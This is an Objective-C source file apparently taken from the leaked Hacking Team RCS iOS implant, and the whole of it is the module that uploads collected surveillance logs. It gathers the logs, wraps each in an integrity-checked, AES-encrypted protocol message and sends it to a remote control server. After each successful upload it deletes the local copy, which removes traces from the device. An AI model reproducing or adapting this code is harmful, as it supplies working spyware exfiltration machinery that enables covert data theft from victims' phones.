hackedteam/core-ios

/*
 * RCSMac - Log Upload Network Operation
 *
 *
 * Created on 12/01/2011
 * Copyright (C) HT srl 2011. All rights reserved
 *
 */

#import "LogNetworkOperation.h"

#import "LogNetworkOperation.h"
#import "NSMutableData+AES128.h"
#import "FSNetworkOperation.h"
#import "RCSILogManager.h"
//#import "RCSITaskManager.h"

#import "NSString+SHA1.h"
#import "NSData+SHA1.h"

#import "RCSICommon.h"

#include <sys/types.h>
#include <sys/stat.h>

//#define DEBUG_LOG_NOP

@interface LogNetworkOperation (private)

- (BOOL)_sendLogContent: (NSData *)aLogData;

@end

@implementation LogNetworkOperation (private)

- (BOOL)_sendLogContent: (NSData *)aLogData
{
  if (aLogData == nil)
    {   
      return NO;
    }
  
  uint32_t command              = PROTO_LOG;

  // message = PROTO_LOG | log_size | log_content | sha
  NSMutableData *commandData    = [[NSMutableData alloc] initWithBytes: &command
                                                                length: sizeof(uint32_t)];
  uint32_t dataSize             = [aLogData length];
  [commandData appendBytes: &dataSize
                    length: sizeof(uint32_t)];
  [commandData appendData: aLogData];
  
  NSData *commandSha            = [commandData sha1Hash];
  
  [commandData appendData: commandSha];
  
  // XXX-
  [commandData encryptWithKey: gSessionKey];
  
  // Send encrypted message
  NSURLResponse *urlResponse    = nil;
  NSData *replyData             = nil;
  NSMutableData *replyDecrypted = nil;
  
  replyData = [mTransport sendData: commandData
                 returningResponse: urlResponse];
  
  if (replyData == nil/* or == null*/)
    {
        return NO;
    }
  
  replyDecrypted = [[NSMutableData alloc] initWithData: replyData];
  [replyDecrypted decryptWithKey: gSessionKey];
  
  [replyDecrypted getBytes: &command
                    length: sizeof(uint32_t)];
  
  // remove padding
  [replyDecrypted removePadding];
  
  // check integrity
  NSData *shaRemote;
  NSData *shaLocal;
  
  @try
    {
      shaRemote = [replyDecrypted subdataWithRange:
                   NSMakeRange([replyDecrypted length] - CC_SHA1_DIGEST_LENGTH,
                               CC_SHA1_DIGEST_LENGTH)];
      shaLocal = [replyDecrypted subdataWithRange:
                  NSMakeRange(0, [replyDecrypted length] - CC_SHA1_DIGEST_LENGTH)];
    }
  @catch (NSException *e)
    {
      return NO;
    }
  
  shaLocal = [shaLocal sha1Hash];
   
  if ([shaRemote isEqualToData: shaLocal] == NO)
    {
      return NO;
    }
   
  if (command != PROTO_OK)
    {
      return NO;
    }

  return YES;
}

@end


@implementation LogNetworkOperation

- (id)initWithTransport: (RESTTransport *)aTransport
{
  if (self = [super init])
    {
      mTransport = aTransport;
      return self;
    }
  
  return nil;
}

- (BOOL)isLogSendable:(NSString*)logPath
{
  BOOL retVal = TRUE;
  NSError *error;
  
  NSDictionary *attrib = [[NSFileManager defaultManager] attributesOfItemAtPath:logPath error:&error];
 
  NSNumber *numPerm = [attrib objectForKey:NSFilePosixPermissions];
  
  u_long perm = [numPerm integerValue];
  
  if (perm & S_ISVTX)
    retVal = FALSE;
  
  return retVal;
}

- (NSMutableArray*)logSetLogArray:(_i_syncLogSet*)logSet
{
  NSMutableArray *logsArray = [NSMutableArray arrayWithCapacity:0];
  
  NSArray *content = [[NSFileManager defaultManager] contentsOfDirectoryAtPath: [logSet mLogSetPath]
                                                                         error: nil];
  
  for (int i=0; i < [content count]; i++)
  {
    NSString *fileName = (NSString*) [content objectAtIndex:i];
    NSString *pathName = [[NSString alloc] initWithFormat: @"%@/%@", [logSet mLogSetPath], fileName];
    
    if ([self isLogSendable: pathName] == FALSE)
    {
      continue;
    }
    
    NSDictionary *attrib = [[NSFileManager defaultManager] attributesOfItemAtPath:pathName
                                                                            error:nil];
    
    NSString *fileType = [attrib objectForKey: NSFileType];
    
    if (fileType == NSFileTypeRegular)
    {
      [logsArray addObject: pathName];
    }
  }
  
  return logsArray;
}

- (void)sendLogWithPath:(NSString*)logName logSet:(_i_syncLogSet*)logSet
{
  if ([[NSFileManager defaultManager] fileExistsAtPath: logName] == TRUE)
  {
    NSData *logContent  = [NSData dataWithContentsOfFile: logName];
    
    if ([self _sendLogContent: logContent] == YES)
    {
       [[NSFileManager defaultManager] removeItemAtPath: logName error: nil];
    }
  }
}

- (void)sendLogSetLogs:(_i_syncLogSet*)logSet
{
  NSMutableArray *logs = [self logSetLogArray: logSet];
  
  for (int i=0; i < [logs count]; i++)
  {
    NSString *logPath = [logs objectAtIndex:i];
    
    [self sendLogWithPath: logPath logSet:logSet];
  }
  
  if ([logSet isRemovable] == YES)
  {
    [[NSFileManager defaultManager] removeItemAtPath: [logSet mLogSetPath] error: nil];
  }
}

- (BOOL)perform
{
   _i_LogManager *logManager = [_i_LogManager sharedInstance];

  [logManager closeActiveLogsAndContinueLogging: TRUE];
  
  NSMutableArray *logSetArray = [logManager syncableLogSetArray];
  
  for (int i=0; i < [logSetArray count]; i++)
  {
    _i_syncLogSet *logSet = [logSetArray objectAtIndex:i];
    
    [self sendLogSetLogs: logSet];
  }
  
  return YES;
}

//- (BOOL)perform
//{
//  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
//  
//  id anObject;
//  
//  _i_LogManager *logManager = [_i_LogManager sharedInstance];
//  
//  // Logs to the send queue
//  if ([logManager closeActiveLogsAndContinueLogging: TRUE] == YES)
//  {
//#ifdef DEBUG_LOG_NOP
//    NSLog(@"%s: Active logs closed correctly", __FUNCTION__);
//#endif
//  }
//  
//  int logCount = [logManager getSendLogItemCount];
//  
//  NSMutableIndexSet *sendedItem  = [NSMutableIndexSet indexSet];
//  
//  //
//  // Send all the logs in the send queue
//  //
//  for (int i=0; i < logCount; i++)
//  {
//    anObject = [logManager getSendLogItemAtIndex:i];
//    
//    if (anObject == nil)
//      continue;
//    
//    NSString *logName = [anObject objectForKey: @"logName"];
//    
//    if ([[NSFileManager defaultManager] fileExistsAtPath: logName] == TRUE)
//    {
//      NSData *logContent  = [NSData dataWithContentsOfFile: logName];
//      
//      if ([self _sendLogContent: logContent] == YES)
//      {
//        [sendedItem addIndex:i];
//        
//        if ([[NSFileManager defaultManager] removeItemAtPath: logName
//                                                       error: nil] == NO)
//        {
//#ifdef DEBUG_LOG_NOP
//          NSLog(@"%s: Error while removing (%@)", __FUNCTION__, logName);
//#endif
//        }
//      }
//    }
//  }
//  
//  [logManager clearSendLogQueue: sendedItem];
//  
//  [outerPool release];
//  
//  return YES;
//}

@end